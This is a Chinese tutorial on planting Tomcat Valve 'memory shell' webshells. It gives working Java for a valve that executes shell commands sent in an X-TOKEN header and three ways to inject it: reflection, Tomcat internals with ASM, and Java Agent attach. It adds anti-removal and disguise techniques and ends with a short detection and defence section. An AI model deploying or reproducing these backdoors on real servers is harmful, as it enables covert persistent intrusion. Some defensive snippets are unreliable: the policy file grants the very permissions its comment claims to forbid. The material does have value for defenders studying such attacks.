Java内存马——Tomcat Valve型的三种注入
字数 992 2025-08-30 06:50:12

Tomcat Valve型内存马注入技术详解

核心原理

Tomcat使用责任链模式处理请求,通过Pipeline和Valve机制实现:

  • Pipeline:包含多个Valve的请求处理管道
  • Valve:管道中的处理单元,每个负责特定任务(如认证、日志、访问控制)
  • StandardWrapperValve:通常位于链尾,最终调用Servlet
  • StandardContext:代表一个Web应用,持有其对应的Pipeline对象

攻击目标:将恶意Valve注入到目标Web应用的StandardContext的Pipeline中,通常插入在StandardContextValve和StandardWrapperValve之间,或者尽可能靠前。

注入方式详解

方式一:纯反射注入(无依赖)

适用场景:攻击者已获得代码执行能力,但当前环境没有Tomcat库依赖。

注入步骤:

  1. 获取WebappClassLoader

    ClassLoader webappClassLoader = Thread.currentThread().getContextClassLoader();
    
  2. 反射获取StandardContext

    // 获取WebappClassLoader的resources属性(StandardRoot)
    Field resourcesField = webappClassLoader.getClass().getDeclaredField("resources");
    resourcesField.setAccessible(true);
    Object standardRoot = resourcesField.get(webappClassLoader);
    
    // 获取StandardRoot的context属性(StandardContext)
    Field contextField = standardRoot.getClass().getDeclaredField("context");
    contextField.setAccessible(true);
    Object standardContext = contextField.get(standardRoot);
    
  3. 获取Pipeline对象

    Method getPipelineMethod = standardContext.getClass().getMethod("getPipeline");
    Object pipeline = getPipelineMethod.invoke(standardContext);
    
  4. 定义恶意Valve类(内存加载)

    // 反射调用ClassLoader.defineClass方法
    Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", 
        String.class, byte[].class, int.class, int.class);
    defineClassMethod.setAccessible(true);
    Class<?> evilValveClass = (Class<?>) defineClassMethod.invoke(
        webappClassLoader, "com.evil.EvilValve", evilValveBytecode, 0, evilValveBytecode.length);
    
  5. 实例化并注入Valve

    Constructor<?> constructor = evilValveClass.getDeclaredConstructor();
    constructor.setAccessible(true);
    Object evilValve = constructor.newInstance();
    
    Method addValveMethod = pipeline.getClass().getMethod("addValve", Valve.class);
    addValveMethod.invoke(pipeline, evilValve);
    
  6. 控制注入位置(可选)

    Field valvesField = pipeline.getClass().getDeclaredField("valves");
    valvesField.setAccessible(true);
    Valve[] valves = (Valve[]) valvesField.get(pipeline);
    // 创建新数组并插入恶意Valve到指定位置
    

恶意Valve实现模板:

public class EvilValve implements Valve {
    private static final String password = "X-TOKEN";
    
    @Override
    public void invoke(Request request, Response response) throws IOException, ServletException {
        String cmd = request.getHeader(password);
        if (cmd == null) {
            getNext().invoke(request, response);
            return;
        }
        
        try {
            String[] cmds = System.getProperty("os.name").contains("win") ? 
                new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
            Process p = Runtime.getRuntime().exec(cmds);
            // 读取输出并写入response
        } catch (Exception e) {
            response.getWriter().write("ERROR: " + e.getMessage());
        }
    }
    
    // 其他接口方法空实现...
}

方式二:混合方式(利用Tomcat API & 反射)

适用场景:执行环境可以访问Tomcat内部API。

注入步骤:

  1. 获取StandardContext

    // 通过ServletContext获取
    ServletContext servletContext = request.getServletContext();
    Field appCtxField = servletContext.getClass().getDeclaredField("context");
    appCtxField.setAccessible(true);
    ApplicationContext appCtx = (ApplicationContext) appCtxField.get(servletContext);
    
    Field stdCtxField = appCtx.getClass().getDeclaredField("context");
    stdCtxField.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdCtxField.get(appCtx);
    
  2. 获取Pipeline对象

    Pipeline pipeline = standardContext.getPipeline();
    
  3. 创建恶意Valve实例

    // 动态生成字节码(ASM)
    ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_FRAMES);
    cw.visit(Opcodes.V1_8, Opcodes.ACC_PUBLIC, "com/evil/HealthCheckValve", null, 
        "org/apache/catalina/valves/ValveBase", null);
    // 生成invoke方法...
    byte[] bytecode = cw.toByteArray();
    
    Class<?> valveClass = classLoader.defineClass(
        "com.evil.HealthCheckValve", bytecode, 0, bytecode.length);
    Valve evilValve = (Valve) valveClass.newInstance();
    
  4. 注入Valve到管道

    pipeline.addValve(evilValve);
    
    // 调整位置到关键节点(反射操作)
    Field valvesField = pipeline.getClass().getDeclaredField("valves");
    valvesField.setAccessible(true);
    Valve[] valves = (Valve[]) valvesField.get(pipeline);
    // 查找并插入到StandardContextValve前
    

方式三:Java Agent + ASM/Javassist字节码注入

适用场景:攻击者具备高权限,追求极致隐蔽性。

注入步骤:

  1. 注入Agent

    // 获取目标Tomcat进程PID并注入
    List<VirtualMachineDescriptor> vms = VirtualMachine.list();
    for (VirtualMachineDescriptor vmd : vms) {
        if (vmd.displayName().contains("catalina")) {
            VirtualMachine vm = VirtualMachine.attach(vmd.id());
            vm.loadAgent("/path/to/agent.jar", "injection_params");
            vm.detach();
        }
    }
    
  2. Agent核心逻辑

    public class EvilAgent {
        public static void premain(String args, Instrumentation inst) {
            inst.addTransformer(new CriticalClassTransformer());
        }
    
        static class CriticalClassTransformer implements ClassFileTransformer {
            private final Set<String> TARGET_CLASSES = Set.of(
                "org.apache.catalina.core.StandardPipeline",
                "org.apache.catalina.core.StandardContextValve"
            );
    
            @Override
            public byte[] transform(ClassLoader loader, String className, 
                Class<?> classBeingRedefined, ProtectionDomain protectionDomain, 
                byte[] classfileBuffer) {
                String dotClassName = className.replace('/', '.');
                if (TARGET_CLASSES.contains(dotClassName)) {
                    return modifyClass(dotClassName, classfileBuffer);
                }
                return null;
            }
        }
    }
    
  3. 字节码修改(ASM实现)

    private byte[] modifyStandardPipeline(byte[] origBytecode) {
        ClassReader cr = new ClassReader(origBytecode);
        ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_FRAMES);
    
        cr.accept(new ClassVisitor(Opcodes.ASM9, cw) {
            @Override
            public MethodVisitor visitMethod(int access, String name, String desc, 
                String signature, String[] exceptions) {
                MethodVisitor mv = super.visitMethod(access, name, desc, signature, exceptions);
    
                if ("invoke".equals(name) && "(Lorg/apache/catalina/connector/Request;...)V".equals(desc)) {
                    return new MethodVisitor(Opcodes.ASM9, mv) {
                        @Override
                        public void visitCode() {
                            // 插入检测逻辑
                            mv.visitVarInsn(Opcodes.ALOAD, 1); // Request
                            mv.visitMethodInsn(Opcodes.INVOKESTATIC, 
                                "com/evil/EmbeddedLogic", "checkRequest", 
                                "(Lorg/apache/catalina/connector/Request;)Z", false);
                            Label skipLabel = new Label();
                            mv.visitJumpInsn(Opcodes.IFEQ, skipLabel);
                            mv.visitInsn(Opcodes.RETURN);
                            mv.visitLabel(skipLabel);
                            super.visitCode();
                        }
                    };
                }
                return mv;
            }
        }, 0);
    
        return cw.toByteArray();
    }
    

检测与防御

检测方案

  1. Heap Dump分析

    SELECT * FROM java.lang.Object 
    WHERE toString() LIKE "%StandardContextValve%" 
    AND dominators() INCLUDES $.valves
    
  2. RASP监控点

    • 拦截ClassLoader.defineClass()调用
    • 监控StandardPipeline.addValve()反射调用栈
    • 检测非初始化阶段新增的Valve
  3. 行为特征检测

    • 请求头包含X-TOKEN等固定标记
    • 无关联页面的HTTP请求返回命令输出

防御措施

  1. Tomcat配置加固

    <!-- context.xml -->
    <Context allowPipelineModification="false">
    
  2. 运行时保护机制

    public class ValveProtectionAgent {
        public static void premain(String args, Instrumentation inst) {
            inst.addTransformer((loader, className, classBeingRedefined, 
                protectionDomain, classfileBuffer) -> {
                if ("org/apache/catalina/core/StandardPipeline".equals(className)) {
                    return patchPipelineClass(classfileBuffer);
                }
                return null;
            });
        }
    }
    
  3. 权限最小化

    grant codeBase "file:${catalina.home}/webapps/yourapp/-" {
        // 禁止Valve修改权限
        permission java.lang.reflect.ReflectPermission "suppressAccessChecks";
        permission java.lang.RuntimePermission "accessClassInPackage.org.apache.catalina.core";
    };
    

高级隐蔽技术

  1. Valve伪装技术

    public class AccessLogValveProxy extends AccessLogValve {
        private Valve original;
        private Valve malicious;
    
        @Override
        public void invoke(Request request, Response response) {
            if (isMaliciousRequest(request)) {
                malicious.invoke(request, response);
                return;
            }
            original.invoke(request, response);
        }
    }
    
  2. 自保护机制

    public void invoke(Request request, Response response) {
        // 检查自身是否仍在管道中
        if (!isValveInPipeline(this)) {
            reinjectSelf();
        }
        // 正常恶意逻辑...
    }
    
  3. 环境感知触发

    private boolean shouldActivate(Request request) {
        // 检查特定Header
        if (request.getHeader("X-Health-Check") != null) return true;
    
        // 检查特殊URL模式
        String uri = request.getRequestURI();
        if (uri.contains(";jsessionid=")) {
            return validateSessionToken(uri.split(";")[1]);
        }
    
        // 时间窗口激活
        return (System.currentTimeMillis() % 60000) < 5000;
    }
    

以上内容详细介绍了Tomcat Valve型内存马的三种注入方式及其检测防御方法,涵盖了从基本原理到高级隐蔽技术的完整知识体系。

Tomcat Valve型内存马注入技术详解 核心原理 Tomcat使用责任链模式处理请求,通过Pipeline和Valve机制实现: Pipeline :包含多个Valve的请求处理管道 Valve :管道中的处理单元,每个负责特定任务(如认证、日志、访问控制) StandardWrapperValve :通常位于链尾,最终调用Servlet StandardContext :代表一个Web应用,持有其对应的Pipeline对象 攻击目标 :将恶意Valve注入到目标Web应用的StandardContext的Pipeline中,通常插入在StandardContextValve和StandardWrapperValve之间,或者尽可能靠前。 注入方式详解 方式一:纯反射注入(无依赖) 适用场景 :攻击者已获得代码执行能力,但当前环境没有Tomcat库依赖。 注入步骤: 获取WebappClassLoader 反射获取StandardContext 获取Pipeline对象 定义恶意Valve类(内存加载) 实例化并注入Valve 控制注入位置(可选) 恶意Valve实现模板: 方式二:混合方式(利用Tomcat API & 反射) 适用场景 :执行环境可以访问Tomcat内部API。 注入步骤: 获取StandardContext 获取Pipeline对象 创建恶意Valve实例 注入Valve到管道 方式三:Java Agent + ASM/Javassist字节码注入 适用场景 :攻击者具备高权限,追求极致隐蔽性。 注入步骤: 注入Agent Agent核心逻辑 字节码修改(ASM实现) 检测与防御 检测方案 Heap Dump分析 RASP监控点 拦截ClassLoader.defineClass()调用 监控StandardPipeline.addValve()反射调用栈 检测非初始化阶段新增的Valve 行为特征检测 请求头包含X-TOKEN等固定标记 无关联页面的HTTP请求返回命令输出 防御措施 Tomcat配置加固 运行时保护机制 权限最小化 高级隐蔽技术 Valve伪装技术 自保护机制 环境感知触发 以上内容详细介绍了Tomcat Valve型内存马的三种注入方式及其检测防御方法,涵盖了从基本原理到高级隐蔽技术的完整知识体系。